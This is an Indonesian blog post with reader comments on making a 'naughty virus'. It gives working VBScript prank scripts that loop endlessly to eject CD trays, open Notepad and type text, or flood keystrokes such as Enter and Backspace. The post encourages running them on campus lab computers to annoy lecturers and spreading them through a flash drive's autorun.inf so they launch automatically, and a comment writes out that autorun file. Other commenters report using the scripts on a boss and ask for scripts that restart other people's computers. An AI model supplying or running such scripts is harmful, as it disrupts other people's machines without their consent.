Cara membuat Virus Nakal
Yuk buat “Virus” Nakal, buat ngerjain dosen/guru yang kita ngga suka, lagi suntuk di ruang labkom kampus, pusing ngga bisa maen facebook karena diblokir sama admin labkom, yah iseng2 buatin scripts .vbs.
Caranya: Buka notepad dan masukkan code berikut,
Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop
Simpanlah dengan file tadi dengan ekstensi file iseng.vbs ato apapun nama kesukaan asalkan pastikan ekstensinya .vbs, dan jalankan filenya ( Klik 2x), perhatikan CD/DVD ROM akan terbuka/tertutup dengan sendirinya tanpa henti.
Salah satu cara menghentikan aksi Virus Nakal ini ialah dengan menekan tombol CRTL+ALT+DEL dan matikan proses wscripts.exe, Kalo mau keren lagi, masukkan ke file autorun.inf di flashdisk anda, jadi setiap loe colokin ke kompie kampus, maka akan otomatis dijalankan “Virus” Nakal ini.
NB: kl males atau ga tau cara copasnya. download ajah linknya dibawah:
Nah mau script .vbs yang laen lagi?
WScript.Sleep 18000 WScript.Sleep 1000 do Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.Run "notepad" WScript.Sleep 100 WshShell.AppActivate "Notepad" WScript.Sleep 500 WshShell.SendKeys "H" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "l" WScript.Sleep 500 WshShell.SendKeys "o" WScript.Sleep 500 WshShell.SendKeys ". " WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "p" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys " " WScript.Sleep 500 WshShell.SendKeys "k" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "b" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "r" WScript.Sleep 500 WshShell.SendKeys "?" WScript.Sleep 500 WshShell.SendKeys " " WScript.Sleep 500 WshShell.SendKeys "K" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "b" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "r" WScript.Sleep 500 WshShell.SendKeys " " WScript.Sleep 500 WshShell.SendKeys "b" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "i" WScript.Sleep 500 WshShell.SendKeys "k" WScript.Sleep 500 WshShell.SendKeys "?" WScript.Sleep 500 wscript.sleep 5000 loop
Scripts diatas nanti otomatis buka notepad dan ketik: Halo. apa kabar? kabar baik?
ingat yah simpan dengan ekstensi nama .vbs, klik file–>save as

Kode Vbs ini akan membuat user terus mengetikkan kata2 “Kamu emang jelek koq!”
Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "Kamu emang jelak koq!" loop
Dan membuat terus menerus menekan tombol “Enter”
Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop
Terus tekan backspace:
MsgBox "Balik lagi ah...saltik" Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{bs}" loop
(post updated: May 8, 2010)
Similar Posts:
- Cara mudah menampilkan ekstensi file
- Cara mudah menampilkan/menyembunyikan file dan folder
- Buat virus Fesbuk yuk
- Cara membasmi Virus Cinta Laura
- Cara menghapus Antivirus XP 2010
- Cara Menangkis Serbuan Email Sampah
- Cara hacking memakai RFI dan LFI
- Basmi Virus dengan Avira AntiVir Rescue System BootCD
- Cara menyelamatkan Data
- Posting Missed Schedule setelah upgrade wordpress ke versi 2.9













dibaca: 20366x | 







sep
Makasih Kang…
Saya masih pingin belajar ni..
Bisa ajarin ga kak tUtorialnya membuat Virus …??
Mohon bantuannya ya..?
KIta kan harus saling berbagi ilmu..
Kirim ke E-mailo saya ya..?
wah aku bru bljr komputer jd q ga tau nih,, cara nya… krm ke email q yoww,, cra lbh lngkap’y okeeee
mas mau nanya nih…
masukin di autorun.inf di flashdisk maksudnya….
tolong penjelasanya ya mas…kirim ke email aja ya mas…..
thx ….
buat file autorun.inf menggunakan notepad isi dgn perintah berikut:
[autorun]
open=a.vbs
icon=a.ico
mantab gan,
keren banget bang ,, udah ku coba ,,,ada ga bang untuk merestart komputer orang mengunkan virus,,kasih info nya ya bang
cba bos di ulang cra masukin ke flashdisk’t aku kurng paham
mantab virus’y …
da yang lebih konyol lgi ga ….
oy bos smua software bnr bs di bkin portable ya …
termsuk game CS ofline
gimana cara bikin scriptnya sih mohon tanggapanya
bos ,mau tnya ….virus nya ok banget
trus giman cara mnhentikan virus itu?
aq dah coba tkan ctrl+alt+delete kuk ga bisa ,
maksud matikan wscripts.exe tu ap?
dan cara gimn? jelasin sdetail nya y
udah tekan crtl+alt+del nanti nongol jendela Windows Task Manager klik processes cari wscripts.exe lalu klik tombol “end process”
Aq dah tkan ctrl,alt,delete scr bersamaan dan trnyta tdk trjadi ap2.
Dan cdroomnya msih bka/tutup.
Gmana nich ada g solusi yg laen,tuk m’ghntikan vrus itu?
O y ad g scripts virus yg bz mmbuat monitor jdi hidup /mati …
weeeew… kren dech trik’a thanks ya bro gw suka gaya lo…
Gan coba script ini:
.gätéli.whshèel.Λ
Sleep 5ΘΘ
Msgbox #sendkeys#”all.keys”
weee bagusx ini virus mengamuki tante karna ku usilin…
hahaahhha keren2 scriptnya sayang gw nga pernah ke lab, btw buat ngerjain op warnet ada ngga
leh tanya wscript 2 pa?
@falah: wscript itu program yang menjalankan file .vbs di windows
Setaaaaaaaaaannnn…, gw cobain virus “halo apa kabar” laptop sy ngamuk. Tp tengkyu bos, jd bs ngerjain atasan yg bawel nih, hikhikhik…!!
file “autorun.inf” jelasin lg donk bos sy kurang ngerti, file “vbs” nya diganti ato gmn? Tengkyu… (kirim ke email ya bos)
kang saya udah coba buat virus nakal sesuai dengan script yg anda berikan . Tapi kok ga bisa kang??? gmana cie caranya??? jelaskan yang detail ya??he.he.ehe.
Barangkali ada yg salah? coba di cek sekali lagi